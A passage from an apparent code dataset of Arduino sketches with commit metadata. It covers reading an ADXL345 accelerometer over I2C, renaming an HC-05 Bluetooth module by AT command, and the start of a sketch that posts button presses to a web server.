*\tArduino\u9023\u63a5G-sensor\uff0c\u50b3\u8f38\u63a7\u5236\u4e0aArduino\u70baMaster\u7aef\uff0cG-sensor\u70baslave\u7aef\n *\t\n *\/\n\/\/---\u5f15\u7528\u51fd\u5f0f\u5eab---\n#include <Wire.h>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u52a0\u5165Wire.h\u51fd\u5f0f\u5eab\n\/\/---\u5b9a\u7fa9\u5e38\u6578---\n#define Register_ID 0\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5b9a\u7fa9Register_ID\u5e38\u6578\u6578\u503c\u70ba0\n#define GY80_Acc_reg_pwrctrl 0x2D\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5b9a\u7fa9GY80_Acc_reg_pwrctrl(\u52a0\u901f\u5ea6\u8a08POWER_CTL\u66ab\u5b58\u5668\u4f4d\u5740)\u5e38\u6578\u70ba0x2D\n#define Register_X0 0x32\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5b9a\u7fa9Register_X0\u5e38\u6578\u6578\u503c\u70ba0x32\n#define Register_X1 0x33\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5b9a\u7fa9Register_X1\u5e38\u6578\u6578\u503c\u70ba0x33\n#define Register_Y0 0x34\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5b9a\u7fa9Register_Y0\u5e38\u6578\u6578\u503c\u70ba0x34\n#define Register_Y1 0x35\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5b9a\u7fa9Register_Y1\u5e38\u6578\u6578\u503c\u70ba0x35\n#define Register_Z0 0x36\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5b9a\u7fa9Register_Z0\u5e38\u6578\u6578\u503c\u70ba0x36\n#define Register_Z1 0x37\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5b9a\u7fa9Register_Z1\u5e38\u6578\u6578\u503c\u70ba0x37\n\/\/***\u5168\u57df\u8b8a\u6578\u5ba3\u544a\u5340***\n\/* \u786c\u9ad4\u4e0a3 Axis Accelerometer(Analog Devices ADXL345)\u4f4d\u5740\u70ba0x53\uff0c\u8f49\u63db\u81f310\u9032\u4f4d\u70ba83\uff0c\u6545\u6307\u5b9aADXL345_Address\u6578\u503c\u70ba83(\u5341\u9032\u4f4d)\n *\/\nint ADXL345_Address = 83;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5ba3\u544aADXL345_Address\u6574\u6578\u8b8a\u6578\u521d\u59cb\u6578\u503c\u70ba83\ndouble Acc_X,Acc_Y,Acc_Z;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5ba3\u544aX\u3001Y\u3001Z\u65b9\u5411\u52a0\u901f\u5ea6\u6578\u503c(\u4ee5g\u70ba\u55ae\u4f4d\uff0c1g=9.8m\/s)\ndouble Acc_X_array[10],Acc_Y_array[10],Acc_Z_array[10];\t\t\t\t\t\t\t\t\t\/\/\t\u5ba3\u544aAcc_X_array[10],Acc_Y_array[10],Acc_Z_array[10]\u9663\u5217\u8b8a\u6578\uff0c\u8a18\u9304\u6700\u8fd1\u5341\u7b46X\u3001Y\u3001Z\u65b9\u5411\u52a0\u901f\u5ea6\u6578\u503c(\u4ee5g\u70ba\u55ae\u4f4d\uff0c1g=9.8m\/s)\nint Acc_X0,Acc_X1,Acc_X_16bit;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5ba3\u544aAcc_X0(\u52a0\u901f\u5ea6\u8a08X\u65b9\u5411\u4f4e\u4f4d\u5143\u66ab\u5b58\u8b8a\u6578),Acc_X1(\u52a0\u901f\u5ea6\u8a08X\u65b9\u5411\u9ad8\u4f4d\u5143\u66ab\u5b58\u8b8a\u6578),Acc_X_16bit(\u52a0\u901f\u5ea6\u8a08X\u65b9\u541116\u4f4d\u5143\u5b8c\u6574\u611f\u6e2c\u8cc7\u6599\u8f38\u51fa\u8b8a\u6578)\nint Acc_Y0,Acc_Y1,Acc_Y_16bit;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5ba3\u544aAcc_Y0(\u52a0\u901f\u5ea6\u8a08Y\u65b9\u5411\u4f4e\u4f4d\u5143\u66ab\u5b58\u8b8a\u6578),Acc_Y1(\u52a0\u901f\u5ea6\u8a08Y\u65b9\u5411\u9ad8\u4f4d\u5143\u66ab\u5b58\u8b8a\u6578),Acc_Y_16bit(\u52a0\u901f\u5ea6\u8a08Y\u65b9\u541116\u4f4d\u5143\u5b8c\u6574\u611f\u6e2c\u8cc7\u6599\u8f38\u51fa\u8b8a\u6578)\nint Acc_Z1,Acc_Z0,Acc_Z_16bit;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5ba3\u544aAcc_Z1(\u52a0\u901f\u5ea6\u8a08Z\u65b9\u5411\u4f4e\u4f4d\u5143\u66ab\u5b58\u8b8a\u6578),Acc_Z0(\u52a0\u901f\u5ea6\u8a08Z\u65b9\u5411\u9ad8\u4f4d\u5143\u66ab\u5b58\u8b8a\u6578),Acc_Z_16bit(\u52a0\u901f\u5ea6\u8a08Z\u65b9\u541116\u4f4d\u5143\u5b8c\u6574\u611f\u6e2c\u8cc7\u6599\u8f38\u51fa\u8b8a\u6578)\n\n\/\/***\u526f\u7a0b\u5f0f\u5ba3\u544a\u5340***\nvoid Read_ADXL345_Data(void);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5ba3\u544aRead_ADXL345_Data(\u8b80\u53d6ADXL345\u8cc7\u6599)\u526f\u7a0b\u5f0f\nvoid SerialPrintADX345Data(void);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5ba3\u544aSerialPrintADX345Data(\u986f\u793aADXL345\u6578\u503c)\u526f\u7a0b\u5f0f\nvoid SerialPrintUIntData(unsigned int);\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5ba3\u544aSerialPrintUIntData\u526f\u7a0b\u5f0f\nvoid SerialPrintIntData(int);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5ba3\u544aSerialPrintIntData\u526f\u7a0b\u5f0f\n\/\/ the setup function runs once when you press reset or power the board\n\/\/ setup\u7a0b\u5f0f\u65bc\u6309\u4e0breset\u6309\u9215\u6216\u901a\u96fb\u6642\u57f7\u884c\u4e00\u6b21\nvoid setup()\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\tsetup\u7a0b\u5f0f\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u9032\u5165setup\u7a0b\u5f0f\n\t\/\/***\u8a2d\u5b9a\u63a5\u8173\u72c0\u614b***\n\tpinMode(13, OUTPUT);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u8a2d\u5b9a\u6578\u4f4d\u63a5\u817313\u70ba\u8f38\u51fa\n\tpinMode(8, INPUT);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u8a2d\u5b9a\u6578\u4f4d\u63a5\u81738\u70ba\u8f38\u5165\n\tWire.begin();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u52a0\u5165I2C\u4e32\u5217\u50b3\u8f38\u532f\u6d41\u6392 \n\tSerial.begin(9600);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u958b\u555f Serial Port\uff0c\u9b91\u7387\u70ba 9600bps (Bits Per Second)\n\tdelay(100);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5ef6\u90720.1\u79d2\n\t\/\/***\u958b\u59cb\u6e2c\u91cfG sensor\u8cc7\u6599***\n\tWire.beginTransmission(ADXL345_Address);\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u958b\u59cb\u5c0dSlave(\u5f9e\u7aef)\u9032\u884c\u8cc7\u6599\u50b3\u8f38\n\t\/\/\tWire.beginTransmission(address)\u51fd\u6578\u53ef\u53c3\u8003https:\/\/www.arduino.cc\/en\/Reference\/WireBeginTransmission\n\tWire.write(GY80_Acc_reg_pwrctrl);\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u50b3\u9001\u66ab\u5b58\u5668\u4f4d\u57400x2D(GY80_Acc_reg_pwrctrl\u6578\u503c)\n\tWire.write(8);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u8a2d\u5b9aPOWER_CTL\u66ab\u5b58\u5668Measure Bit\u70ba1\n\tWire.endTransmission();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\tI2C\u50b3\u9001\u7d50\u675f\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u7d50\u675fsetup\u7a0b\u5f0f\n\n\/\/ the loop function runs over and over again forever\n\/\/ loop\u7a0b\u5f0f\u5c07\u4e0d\u65b7\u91cd\u8907\u57f7\u884c\nvoid loop()\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\tloop\u7a0b\u5f0f\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u9032\u5165loop\u7a0b\u5f0f\n\tRead_ADXL345_Data();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u547c\u53ebRead_ADXL345_Data\u526f\u7a0b\u5f0f\n\tSerialPrintADX345Data();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u547c\u53ebSerialPrintADX345Data\u526f\u7a0b\u5f0f\n\tdelay(500);\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u7d50\u675floop\u7a0b\u5f0f\n\nvoid Read_ADXL345_Data(void)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\tRead_ADXL345_Data(\u8b80\u53d6ADXL345\u8cc7\u6599)\u526f\u7a0b\u5f0f\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u9032\u5165Read_ADXL345_Data(\u8b80\u53d6ADXL345\u8cc7\u6599)\u526f\u7a0b\u5f0f\n\t\/\/---\u8b80\u53d6X\u65b9\u5411\u52a0\u901f\u5ea6\u503c---\n\tWire.beginTransmission(ADXL345_Address);\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u50b3\u9001\u8cc7\u6599\u81f3Slave(\u5f9e\u7aef)\n\tWire.write(Register_X0);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u6e96\u5099\u8b80\u53d6X\u65b9\u5411\u52a0\u901f\u5ea6\u503c\n\tWire.write(Register_X1);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u6e96\u5099\u8b80\u53d6X\u65b9\u5411\u52a0\u901f\u5ea6\u503c\n\tWire.endTransmission();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\tI2C\u50b3\u9001\u7d50\u675f\n\tWire.requestFrom(ADXL345_Address,2);\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u50b3\u90012\u4f4d\u5143\u7d44\u8981\u6c42\u81f3Slave\u7aef(ADXL345_Address)\n\tif(Wire.available()<=2)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u82e5slave(ADXL345_Address)\u88dd\u7f6e\u56de\u50b3\u8cc7\u6599\u5c11\u65bc\u8981\u6c42\u8cc7\u6599\u91cf\n\t{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u9032\u5165if\u6558\u8ff0\n\t\tAcc_X0 = Wire.read();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u8b80\u53d6X\u65b9\u5411\u52a0\u901f\u5ea6\u503c(\u4f4e8\u4f4d\u5143)\n\t\tAcc_X1 = Wire.read();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u8b80\u53d6X\u65b9\u5411\u52a0\u901f\u5ea6\u503c(\u9ad88\u4f4d\u5143)\n\t\tAcc_X1=Acc_X1<<8;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5c07Acc_X1(\u9ad88\u4f4d\u5143)\u5de6\u79fb8\u4f4d\n\t\tAcc_X_16bit=Acc_X0+Acc_X1;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5c07X1\u8207X0\u7d44\u5408\u70ba16\u4f4d\u5143\u7684X\u65b9\u5411\u52a0\u901f\u5ea6\u6578\u503c\u586b\u5165X_out\n\t}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u7d50\u675fif\u6558\u8ff0\n\t\/\/---\u8b80\u53d6Y\u65b9\u5411\u52a0\u901f\u5ea6\u503c---\n\tWire.beginTransmission(ADXL345_Address);\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u50b3\u9001\u8cc7\u6599\u81f3Slave(\u5f9e\u7aef)\n\tWire.write(Register_Y0);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u6e96\u5099\u8b80\u53d6Y\u65b9\u5411\u52a0\u901f\u5ea6\u503c\n\tWire.write(Register_Y1);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u6e96\u5099\u8b80\u53d6Y\u65b9\u5411\u52a0\u901f\u5ea6\u503c\n\tWire.endTransmission();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\tI2C\u50b3\u9001\u7d50\u675f\n\tWire.requestFrom(ADXL345_Address,2);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u50b3\u90012\u4f4d\u5143\u7d44\u8981\u6c42\u81f3Slave\u7aef(ADXL345_Address)\n\tif(Wire.available()<=2)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u82e5slave(ADXL345_Address)\u88dd\u7f6e\u56de\u50b3\u8cc7\u6599\u5c11\u65bc\u8981\u6c42\u8cc7\u6599\u91cf\n\t{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u9032\u5165if\u6558\u8ff0\n\t\tAcc_Y0 = Wire.read();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u8b80\u53d6Y\u65b9\u5411\u52a0\u901f\u5ea6\u503c(\u4f4e8\u4f4d\u5143)\n\t\tAcc_Y1 = Wire.read();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u8b80\u53d6Y\u65b9\u5411\u52a0\u901f\u5ea6\u503c(\u9ad88\u4f4d\u5143)\n\t\tAcc_Y1=Acc_Y1<<8;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u5c07Acc_Y1(\u9ad88\u4f4d\u5143)\u5de6\u79fb8\u4f4d\n\t\tAcc_Y_16bit=Acc_Y0+Acc_Y1;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5c07Y1\u8207Y0\u7d44\u5408\u70ba16\u4f4d\u5143\u7684Y\u65b9\u5411\u52a0\u901f\u5ea6\u6578\u503c\u586b\u5165Acc_Y_16bit\n\t}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u7d50\u675fif\u6558\u8ff0\n\t\/\/---\u8b80\u53d6Z\u65b9\u5411\u52a0\u901f\u5ea6\u503c---\n\tWire.beginTransmission(ADXL345_Address);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u50b3\u9001\u8cc7\u6599\u81f3Slave(\u5f9e\u7aef)\n\tWire.write(Register_Z0);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u6e96\u5099\u8b80\u53d6Z\u65b9\u5411\u52a0\u901f\u5ea6\u503c\n\tWire.write(Register_Z1);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u6e96\u5099\u8b80\u53d6Z\u65b9\u5411\u52a0\u901f\u5ea6\u503c\n\tWire.endTransmission();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\tI2C\u50b3\u9001\u7d50\u675f\n\tWire.requestFrom(ADXL345_Address,2);\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u50b3\u90012\u4f4d\u5143\u7d44\u8981\u6c42\u81f3Slave\u7aef(ADXL345_Address)\n\tif(Wire.available()<=2)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u82e5slave(ADXL345_Address)\u88dd\u7f6e\u56de\u50b3\u8cc7\u6599\u5c11\u65bc\u8981\u6c42\u8cc7\u6599\u91cf\n\t{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u9032\u5165if\u6558\u8ff0\n\t\tAcc_Z0 = Wire.read();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u8b80\u53d6Z\u65b9\u5411\u52a0\u901f\u5ea6\u503c(\u4f4e8\u4f4d\u5143)\n\t\tAcc_Z1 = Wire.read();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u8b80\u53d6Z\u65b9\u5411\u52a0\u901f\u5ea6\u503c(\u9ad88\u4f4d\u5143)\n\t\tAcc_Z1=Acc_Z1<<8;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u5c07Acc_Z1(\u9ad88\u4f4d\u5143)\u5de6\u79fb8\u4f4d\n\t\tAcc_Z_16bit=Acc_Z0+Acc_Z1;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5c07Z1\u8207Z0\u7d44\u5408\u70ba16\u4f4d\u5143\u7684Z\u65b9\u5411\u52a0\u901f\u5ea6\u6578\u503c\u586b\u5165Acc_Z_16bit\n\t}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u7d50\u675fif\u6558\u8ff0\n\t\/\/---\u6b63\u898f\u5316\u52a0\u901f\u5ea6\u6578\u503c---\n\tAcc_X=Acc_X_16bit\/256.0;\n\tAcc_Y=Acc_Y_16bit\/256.0;\n\tAcc_Z=Acc_Z_16bit\/256.0;\n\t\/\/---\u8a18\u9304\u6578\u503c---\n\tint loop_number = 0;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u5ba3\u544aloop_number\u5340\u57df\u8b8a\u6578\u4f9b\u8ff4\u5708\u4f7f\u7528\n\tfor(loop_number = 10; loop_number > 0; loop_number--)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u4ee5for\u8ff4\u5708\u642c\u79fbAcc_X_array\u3001Acc_Y_array\u3001Acc_Z_array\u9663\u5217\u6b77\u53f2\u8cc7\u6599\n\t{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u9032\u5165for\u8ff4\u5708\n\t\tAcc_X_array[loop_number]=Acc_X_array[loop_number-1];\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u642c\u79fbAcc_X_array\u6b77\u53f2\u8cc7\u6599\n\t\tAcc_Y_array[loop_number]=Acc_Y_array[loop_number-1];\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u642c\u79fbAcc_Y_array\u6b77\u53f2\u8cc7\u6599\n\t\tAcc_Z_array[loop_number]=Acc_Z_array[loop_number-1];\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u642c\u79fbAcc_Z_array\u6b77\u53f2\u8cc7\u6599\n\t}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u7d50\u675ffor\u8ff4\u5708\n\tAcc_X_array[0]=Acc_X;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u5c07Acc_X\u586b\u5165Acc_X_array\u9663\u5217\u4e2d\n\tAcc_Y_array[0]=Acc_Y;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u5c07Acc_Y\u586b\u5165Acc_Y_array\u9663\u5217\u4e2d\n\tAcc_Z_array[0]=Acc_Z;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u5c07Acc_Z\u586b\u5165Acc_Z_array\u9663\u5217\u4e2d\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u7d50\u675fRead_ADXL345_Data(\u8b80\u53d6ADXL345\u8cc7\u6599)\u526f\u7a0b\u5f0f\n\nvoid SerialPrintADX345Data(void)\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\tSerialPrintADX345Data(\u986f\u793aADXL345\u6578\u503c)\u526f\u7a0b\u5f0f\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u9032\u5165SerialPrintADX345Data(\u986f\u793aADXL345\u6578\u503c)\u526f\u7a0b\u5f0f\n\t\/\/---\u8f38\u51faADXL345\u6578\u503c\u81f3UART\u4ecb\u9762---\n\tSerial.print(\"X\");\n\tSerialPrintUIntData(Acc_X * 2048 + 2048);\n\t\/\/Serial.print(\"\t\t\t \");\n\t\/\/Serial.print(\"Y\");\n\t\/\/SerialPrintUIntData(Acc_Y * 2048 + 2048);\n\t\/\/Serial.print(\"\t\t\t \");\n\t\/\/Serial.print(\"Z\");\n\t\/\/SerialPrintUIntData(Acc_Z * 2048 + 2048);\n\t\/\/Serial.println(\"\t\");\n\tSerial.println();\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \/\/\t\u7d50\u675fSerialPrintADX345Data(\u986f\u793aADXL345\u6578\u503c)\u526f\u7a0b\u5f0f\n\nvoid SerialPrintUIntData(unsigned int InputData)\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\tSerialPrintIntData(SerialPort\u9001\u51faint\u578b\u614b\u8cc7\u6599)\u526f\u7a0b\u5f0f\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u9032\u5165SerialPrintIntData(SerialPort\u9001\u51faint\u578b\u614b\u8cc7\u6599)\u526f\u7a0b\u5f0f\n\tSerial.print( ( InputData \/ 10000 ) % 10 );\n\tSerial.print( ( InputData \/ 1000 ) % 10 );\n\tSerial.print( ( InputData \/ 100 ) % 10 );\n\tSerial.print( ( InputData \/ 10 ) % 10 );\n\tSerial.print( ( InputData \/ 1 ) % 10 );\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u7d50\u675fSerialPrintIntData(SerialPort\u9001\u51faint\u578b\u614b\u8cc7\u6599)\u526f\u7a0b\u5f0f\n\nvoid SerialPrintIntData(int InputData)\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\tSerialPrintIntData(SerialPort\u9001\u51faint\u578b\u614b\u8cc7\u6599)\u526f\u7a0b\u5f0f\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u9032\u5165SerialPrintIntData(SerialPort\u9001\u51faint\u578b\u614b\u8cc7\u6599)\u526f\u7a0b\u5f0f\n\tSerial.print( ( InputData \/ 10000 ) % 10 );\n\tSerial.print( ( InputData \/ 1000 ) % 10 );\n\tSerial.print( ( InputData \/ 100 ) % 10 );\n\tSerial.print( ( InputData \/ 10 ) % 10 );\n\tSerial.print( ( InputData \/ 1 ) % 10 );\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\/\/\t\u7d50\u675fSerialPrintIntData(SerialPort\u9001\u51faint\u578b\u614b\u8cc7\u6599)\u526f\u7a0b\u5f0f\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/ADXL345\/ArduinoProgram1\/ArduinoProgram1.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d104c07cc84020cd799f164c710e53b0c9d68639","subject":"Changed sketch name and removed debug commands","message":"Changed sketch name and removed debug commands\n","repos":"jdunmire\/HC05","old_file":"Examples\/changeName\/changeName.ino","new_file":"Examples\/changeName\/changeName.ino","new_contents":"\/*\n * Change the BT device name\n *\n * This works with a Bluetooth terminal. The user is prompted for a new\n * name which is then written to HC-05.\n *\n *\/\n#include <Arduino.h>\n#include \"HC05.h\"\n\n\/*\n * Configure this sketch to work with either a software or a hardware\n * serial port, as configured in HC05.h\n *\/\n#ifdef HC05_SOFTWARE_SERIAL\n#include <SoftwareSerial.h>\nHC05 myHC05 = HC05(3, 2, 4, 5); \/\/ cmd, state, rx, tx\n#else\nHC05 myHC05 = HC05(3, 2); \/\/ cmd, state\n#endif\n\n\/*\n * See the ITeadStudio HC-05 datasheet for a full list of commands.\n *\/\nString NewNameCmd(\"AT+NAME=\");\n\n\nvoid setup()\n{\n myHC05.findBaud();\n}\n\n\nvoid loop(){\n char buffer[32];\n size_t recvd = 0;\n bool waiting = true;\n String newName;\n\n myHC05.println(\"\");\n myHC05.print(\"New name? \");\n\n \/\/ Use a timeout that will give reasonablly quick response to the user.\n myHC05.setTimeout(100);\n while (waiting)\n {\n if (myHC05.available())\n {\n recvd = myHC05.readBytes(buffer, 32);\n for (size_t i = 0; i < recvd; i++)\n {\n if (buffer[i] != '\\n')\n {\n newName += buffer[i];\n myHC05.print(buffer[i]);\n }\n else\n {\n myHC05.println(\" \");\n waiting = false;\n break;\n }\n }\n }\n delay(100);\n }\n\n newName.toCharArray(buffer, 32);\n newName = NewNameCmd + newName;\n newName.toCharArray(buffer, 32);\n\n \/\/ make sure there is no pending output to interfere with commands\n myHC05.flush();\n\n \/\/ The name change command takes extra time.\n \/\/ 1000ms is large enough, but arbitrary.\n if (myHC05.cmd(buffer,1000))\n {\n myHC05.println(\"Name changed.\");\n myHC05.println(\"Reconnect or rescan to see the result.\");\n myHC05.println(\"Disconnecting...\");\n myHC05.flush();\n myHC05.cmd(\"AT+DISC\", 1000);\n }\n else\n {\n myHC05.println(\"Name NOT changed.\");\n }\n \n \/\/ Send a count to the port just to indicate activity.\n \/\/ This will appear after the connection is re-established, or\n \/\/ immediately if the name change command fails.\n for (uint8_t i = 0; true; i++)\n {\n if (i == 0)\n {\n myHC05.println(\"\");\n }\n myHC05.print(i);\n myHC05.print('\\r');\n delay(1000);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Examples\/changeName\/changeName.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fd610f4e52d6d62c159261861bdddbffcf472fb9","subject":"Add example sketch for food switch.","message":"Add example sketch for food switch.\n","repos":"futurice\/vor,futurice\/vor,futurice\/vor,futurice\/vor,futurice\/vor,futurice\/vor","old_file":"vor-arduino\/examples\/food\/food.ino","new_file":"vor-arduino\/examples\/food\/food.ino","new_contents":"#include <Bridge.h>\n#include <YunClient.h>\n\n#include \"HttpClient.h\"\n#include \"vor_led.h\"\n#include \"vor_switch.h\"\n\n#define SERVER_URL \"rubix.futurice.com\"\n#define SERVER_PORT 80\n#define SERVER_PATH \"\/messages\"\n\n#define USERAGENT \"yunmini02\"\n\n#define TIMEOUT 20000\n#define DELAY 500\n#define INTERVAL 30000\n\n#define MSG_FORMAT \"{\\\"id\\\":\\\"button-food\\\",\\\"type\\\":\\\"button\\\"}\"\n\n#define SWITCH_PIN 2\n#define LED_PIN 3\n\nYunClient client;\nHttpClient http(client);\n\nVorLed led;\nVorSwitch 